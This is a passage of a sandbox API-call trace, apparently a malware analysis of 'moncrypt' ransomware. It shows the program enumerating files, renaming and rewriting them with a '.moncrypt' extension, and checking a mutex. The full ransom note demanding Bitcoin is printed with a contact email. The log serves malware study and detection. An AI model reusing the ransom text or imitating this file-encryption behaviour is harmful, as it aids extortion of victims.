out: lpLocalFileTime=0x18e6f0) returned 1 [0051.775] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.775] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0051.776] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.moncrypt")) returned 1 [0051.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.777] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.777] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xed34 [0051.777] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.777] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.779] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.779] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.779] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.779] GlobalUnlock (hMem=0x440004) returned 0 [0051.779] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0051.780] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.780] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.780] GlobalUnlock (hMem=0x440004) returned 0 [0051.780] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.780] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.780] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.780] GlobalUnlock (hMem=0x44000c) returned 0 [0051.780] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.780] GlobalUnlock (hMem=0x440004) returned 0 [0051.780] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.780] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.780] GlobalUnlock (hMem=0x440004) returned 0 [0051.780] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.780] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.780] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.780] GlobalUnlock (hMem=0x440004) returned 0 [0051.780] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.780] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.780] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.780] SetFilePointer (in: hFile=0x18c, lDistanceToMove=60724, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xed34 [0051.780] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.781] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.781] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.792] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.792] CloseHandle (hObject=0x18c) returned 1 [0051.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.793] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.793] CloseHandle (hObject=0x18c) returned 1 [0051.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0051.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.794] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.794] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.794] GlobalUnlock (hMem=0x440004) returned 0 [0051.794] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.794] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.794] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.794] GlobalUnlock (hMem=0x440004) returned 0 [0051.794] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.794] GlobalUnlock (hMem=0x44000c) returned 0 [0051.794] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4017f1a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x4017f1a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x401a5300, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0051.794] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0051.794] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0051.794] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.795] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.795] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.795] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.795] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.795] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.795] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.795] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0051.795] CloseHandle (hObject=0x18c) returned 1 [0051.795] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0051.795] GetLastError () returned 0x12 [0051.795] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.795] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.795] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.795] GlobalUnlock (hMem=0x44000c) returned 0 [0051.795] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.796] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.796] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.796] GlobalUnlock (hMem=0x44000c) returned 0 [0051.796] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.796] GlobalUnlock (hMem=0x440004) returned 0 [0051.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x401a5300, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x401a5300, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.796] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.796] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.796] GlobalLock (hMem=0x440004) returned 0x550170 [0051.796] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.796] GlobalUnlock (hMem=0x440004) returned 0 [0051.796] GlobalLock (hMem=0x440004) returned 0x550170 [0051.796] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.796] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.796] GlobalUnlock (hMem=0x440004) returned 0 [0051.796] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.796] GlobalUnlock (hMem=0x44000c) returned 0 [0051.796] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.796] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x401a5300, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x401a5300, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.796] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.796] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.796] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.796] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.796] GlobalUnlock (hMem=0x44000c) returned 0 [0051.796] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.797] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.797] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.797] GlobalUnlock (hMem=0x44000c) returned 0 [0051.797] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.797] GlobalUnlock (hMem=0x440004) returned 0 [0051.797] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.797] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x195fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM.moncrypt", cAlternateFileName="EXPEDI~1.MON")) returned 1 [0051.797] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.797] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.797] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.797] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.797] GlobalUnlock (hMem=0x440004) returned 0 [0051.797] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.797] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.797] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.797] GlobalUnlock (hMem=0x440004) returned 0 [0051.797] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.797] GlobalUnlock (hMem=0x44000c) returned 0 [0051.797] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.797] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0051.797] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.797] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.797] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.797] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.797] GlobalUnlock (hMem=0x44000c) returned 0 [0051.797] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.797] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.797] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.797] GlobalUnlock (hMem=0x44000c) returned 0 [0051.798] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.798] GlobalUnlock (hMem=0x440004) returned 0 [0051.798] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.798] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4017f1a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x4017f1a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x401a5300, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0051.798] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.798] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.798] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.798] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.798] GlobalUnlock (hMem=0x440004) returned 0 [0051.798] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.798] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.798] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.798] GlobalUnlock (hMem=0x440004) returned 0 [0051.798] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.798] GlobalUnlock (hMem=0x44000c) returned 0 [0051.798] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.798] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.798] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.798] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.798] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.798] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.798] GlobalUnlock (hMem=0x44000c) returned 0 [0051.798] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.798] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.798] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.798] GlobalUnlock (hMem=0x44000c) returned 0 [0051.798] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.798] GlobalUnlock (hMem=0x440004) returned 0 [0051.798] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.799] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xedf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.799] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.799] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.799] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.799] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.799] GlobalUnlock (hMem=0x440004) returned 0 [0051.799] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.799] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.799] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.799] GlobalUnlock (hMem=0x440004) returned 0 [0051.799] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.799] GlobalUnlock (hMem=0x44000c) returned 0 [0051.799] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.799] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xedf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.799] GetLastError () returned 0x12 [0051.799] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.799] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0051.799] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.799] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.800] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.800] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.800] GlobalUnlock (hMem=0x44000c) returned 0 [0051.800] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.800] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.800] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.800] GlobalUnlock (hMem=0x44000c) returned 0 [0051.800] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.800] GlobalUnlock (hMem=0x440004) returned 0 [0051.800] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.800] GlobalLock (hMem=0x440004) returned 0x550170 [0051.800] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.800] GlobalUnlock (hMem=0x440004) returned 0 [0051.800] GlobalLock (hMem=0x440004) returned 0x550170 [0051.800] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.800] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.800] GlobalUnlock (hMem=0x440004) returned 0 [0051.800] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.800] GlobalUnlock (hMem=0x44000c) returned 0 [0051.800] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.800] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE", len=0x3b | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE") returned 1 [0051.800] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.800] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.800] GlobalUnlock (hMem=0x44000c) returned 0 [0051.800] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.800] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.800] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.801] GlobalUnlock (hMem=0x44000c) returned 0 